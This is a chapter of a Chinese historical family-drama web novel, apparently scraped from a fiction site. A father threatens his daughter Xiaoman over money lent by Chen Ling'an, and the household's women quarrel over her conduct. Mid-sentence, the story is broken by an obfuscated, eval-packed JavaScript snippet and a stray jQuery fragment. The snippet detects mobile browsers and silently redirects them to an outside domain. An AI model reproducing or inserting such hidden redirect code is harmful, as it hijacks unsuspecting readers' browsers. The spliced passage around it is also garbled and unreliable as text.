张文只问过张君懿一人,便认定是蒋夫人私下贴补张小满。
“一样的女儿,偏不一样的看待,怎么说也是大家子出来的人,偏心到如此地步,不得不令人怀疑掌家的能力。”
已是丝毫不掩饰逼她移交中馈的打算了。
蒋夫人气得涨红了脸,立刻就要反唇相讥,然转念一想,她的的确确没有给小满银子,更没有青金石,小满只能是变卖首饰衣料换的钱。
张文本就不喜小满,让他知道了,定会大骂小满不守规矩,外流闺阁之物用心叵测云云。
蒋夫人深吸口气,准备认下“罪名”。
却在这时,张小满脆生生的嗓音响起了,“父亲冤枉母亲了!是陈令安帮我垫的银子,我还给他写了欠条呢,不信,父亲尽可上朝时问问他。”
她说出银子的缘由,张文等人知晓他们关系,听起来还不觉怎样,新回府的人齐齐打了个寒颤。孙姨娘“啊”的叫出声来,闭目假寐的边老太太霍地圆睁双目,手上的念珠都掉了。
饶是年岁小的张安懿也在孙姨娘的示意下,惴惴不安地预备退回青金石。
“孽障,又私自与外男见面!”张文一拍桌子,“我看你是欠管教。”
“你们怎么碰到的,区区一百两银子,怎么还逼你写欠条,他没胁迫你别的吧?”蒋夫人急急拉过张小满,无形中将她护在身后。
张小满心里泛上一阵热辣辣的暖流,“没有,是我说要还钱。那天我去旧院买东西,遭周公子无端谩骂,幸好陈令安路过,出手替我解围。”
蒋夫人还在消化这句话,姚姨娘已大声惊呼,“什么?你竟然去旧院?”
张文一怔,旋即怒不可遏,一面命人拿家法,一面大喝:“有伤风化,败坏家声!今日不把你打死,我张家迟早会毁在你手里!”
蒋夫人急了,“孩子还小,往后好好教导也就是了,杀子的名声难道好听吗?”
姚姨娘也上前劝阻,“老爷息怒,老太太是吃斋念佛的人,万万见不得血光,老爷,瞧着老太太吧。”
一句话提醒了张文,立刻吩咐绑了张小满,“送去庵堂,剃度出家,永生不得踏出山门一步。”
“不行!”蒋夫人厉声道,“事情还没搞清楚,谁也不能动三丫头。老爷,你就不怕陈令安问你要人吗?”
话刚出口,她就怔住了——她竟想也不想就用陈令安压张文?
然而这句话立时起了作用,张文犹豫了。
趁着空档,张小满故作不解道:“姚姨娘,旧院是什么地方?我只听说十里秦淮是金陵城最繁荣的地方,什么稀奇玩意儿都有,这才想去的。车夫也好,跟车的婆子也好,都没说不妥。”
姚姨娘垂下眼帘,她自是知道,却不好直白地说出来。
“小满才来几天,出过几趟门?她哪知道旧院新院的。”蒋夫人此时也冷静下来,抓住疑点猛攻,“车夫是谁,跟车的婆子又是谁,他们总不会不知道,事先不提醒,事后不禀报,憋着一肚子坏水看主人家笑话。”
蒋夫人斜了姚姨娘一眼,冷哼道:“来人,把他们绑上来,我倒要问问,谁给他们的胆子!”
姚姨娘自有应对之法,悄悄扯了扯张文的袖子,“今儿个老太太刚回来,府里就发落下人,人多口杂,传出去还以为是老太太容不得人,有碍老太太仁和慈爱的名声。”
张文仔细一想就明白爱妾必做了手脚。
他并不反感妻妾相争,甚至还有点乐见其成,看着出身高贵的蒋氏为他吃醋生闷气,和出身低下的妾室通房勾心斗角,绞尽脑汁博取他的欢心,他就从心底萌生出一种说不出的快意。
姚氏也着实娇媚动人,对他百依百顺,床笫之私颇得他心意。
所以他宠爱姚氏,由着她与蒋氏作对。
但这次居然闹到陈令安面前,那人岂能看不穿这点小伎俩,如果在皇上面前说上几句“治家不严,后宅不宁”,皇上会不会怀疑他的能力?
姚氏玩点小手段可以,却不能损害他的仕途。
这是他的底线。
一股怒气升腾起来,张文甩开姚姨娘的手,冷声道:“车夫和跟车的婆子打二十大板,家生子阖家发卖,外头买的直接轰出去,只许留贴身衣服,旁的一概不许带走!”
姚姨娘脸色发白,怨毒地盯视蒋夫人一眼,旋即低垂眼帘,做出一副与己无关的姿态。
张文自以为足够严苛的惩戒,蒋夫人却觉他在有意偏袒姚姨娘,“没人授意,他们吃了熊心豹子胆敢算计主子?”
“说到底也是你这个主母的疏忽,你怎么管家的?瞧这问心无愧的架势,倒像不是张家太太一样。”
张文瞥了眼她,又瞪着张小满冷声道:“念你不知,姑且饶过你,胆敢有下次,我扒了你的皮。”
说罢对边老太太道了声不孝,方冷着脸退出去了。
边老太太接过孙姨娘捡起的念珠,就着她的搀扶起身,“闹吧,你们就闹吧,等哪天把张家闹散了,你们就称心如意了。”
蒋夫人姚姨娘忙说不敢。
边老太太看也不看她们一眼,自顾自道:“六月十九是观世音菩萨成道日,姚氏,这阵子你就好生在院子里呆着,仔细抄写十遍《妙法莲华经》。”
“抄写前净手焚香,期间不得用荤腥,不得玩乐,要清心寡欲没有杂念。待我供于佛前,也算你的一份功德。”
这不就相当于变相软禁?姚姨娘身子晃晃,到底吞下眼泪说了声“是”——护着她的人不在,哭也没人理会。
走了两步,边老太太又回身来看蒋夫人,“教养子女,管理妾室,辅佐夫君,是你这个太太分内的事。你是高门大户出来的姑娘,有些话我不好多说,可你看看现今这个样子……唉。”
蒋夫人紧紧抿着嘴角,渐渐红了眼圈。张小满看见,胸口跟堵了团棉花似的发闷。
边老太太仍是没有正眼瞧张小满,只对恋恋不舍看着青金石的张安懿道:“拿着吧,别辜负你三姐姐一片好意。蒋氏,陈令安的债不能欠,赶紧还上,再准备一份合适的谢礼——怎么说他也帮了张家姑娘一把。”
蒋夫人不赞同,“银子是该还,可这谢礼,还是问问老爷的意思再做决定。”
欠债还钱,天经地义,可送礼就代表着想要结交陈令安,而陈令安现时就是士林公敌,此举必会影响张文的声望。
边老太太沉吟着若有所思,好一会儿才说:“自然不能以张家的名义送,谁借的钱,就让谁去送。”
竟还要小满去接触陈令安?蒋夫人愕然。
边老太太没有过多解释,只瞧着欢天喜地抱着青金石的张安懿,轻飘飘抛下一句,“小孩子家家的,今天喜欢,明天说不定又扔到一边,猫一阵狗一阵没个定性。”
蒋夫人听明
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901250|176642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白了,叫小满去送礼,若日后有人拿此事排挤攻讦老爷,大可推说是孩子间的往来,做不得数。如此既能向陈令安示好,也牵扯不到老爷。
理儿是这个理儿,可把小满当什么了?
蒋夫人一阵烦闷,连姚姨娘吃挂落都让她笑不起来了。
一场久别重逢的团聚不欢而散。
回到院子,蒋夫人犹自忿忿。
方妈妈宽慰说:“凭三姑娘的性子,肯定还会私下找那个人,现在有了‘尚方宝剑’,可以明着去找,不必担心落人口舌。”
蒋夫人叹道:“陈令安一直得势还好,假如哪天倒台了,我看他们第一个就要抛弃她。”
这倒极有可能,可方妈妈不好说主人家的不是,只袖着手微笑。
蒋夫人还在抱怨,“老太太今儿头一回见小满,居然连个见面礼都没准备,真是!”一面又自责太粗心,“我早该贴补她的,打今儿起,每月三丫头多二两的份例,从我这里出,不走公中的帐。”
方妈妈先应了声“是”,掂掇一阵慢慢道:“三姑娘一向活泼灵动,今儿可足够沉稳,换个人,一见老爷要打杀了她,早吓得惊惶失措,哭着求饶了。”
蒋夫人惊讶抬头,“你的意思……”
方妈妈心一横,索性把心里的话全说了出来,“那么名贵的石头,三姑娘绝对买不起,老爷一定会怀疑是太太私下补贴她,三姑娘不是蠢人,肯定能想到,为什么提前不说?”
蒋夫人不在意地笑笑,“大概是怕我骂她吧,毕竟我三令五申不许她与陈令安再有往来。”
“这就是了。”方妈妈道,“她有陈令安撑腰,笃定老爷不会拿她怎样,今儿才有恃无恐,却惹得太太又和老爷生隙。从前老爷一个月还来个几趟,可自打三姑娘回来,老爷踏进正院的次数屈指可数。”
“太太,不要再因为三姑娘和老爷起冲突了!”
蒋夫人笑容僵住了,“都是因为姚氏……”
“以前也有姚姨娘!”方妈妈捉急,头一次不顾尊卑打断主人的话,“奴婢说句僭越的话,三姑娘也有点忒不识好歹了,刘家那样体面的亲事都不放在眼里,偏和陈令安纠缠不清。”
“且不说陈令安这人如何,就说太太操多少心,费多少力,又搭进去多少人情,才促成刘家相看她。她倒好,相亲宴上直接认刘家死对头做竹马。”
“刘家看着太太姨太太的面子,没发作,还愿意继续议亲,给足了台阶让她下。她不说收敛,反倒一而再,再而三去找陈令安。”
“这让太太今后怎么和刘家打交道?就是面对姨太太也说不过去啊。太太娘家老太爷老太太都不在了,又没有亲兄弟可倚靠,唯有姨太太一个至亲……她就不考虑考虑太太的处境?”
方妈妈重重叹出口气,“还有,她被亲生父亲摒弃,就一点不难过?三姑娘面上丝毫不显,局外人似的看热闹,我看她就没把自己当张家人。如此凉薄,即便嫁得好人家,只怕扭脸就忘了太太的恩情。”
蒋夫人被这番说辞惊住了,呆滞地嚅动了下嘴唇,“我不会又看错人了吧……”
死样的沉寂顿时侵蚀了屋子。
外面不知何时起了风,挟着雨腥味,吹得帐幔簌簌颤抖着胡乱飘动,方妈妈忙去关门窗,却见小丫鬟急匆匆拐进廊下。
“周太太来了,有要紧的事请见太太,烦请妈妈通禀一声。”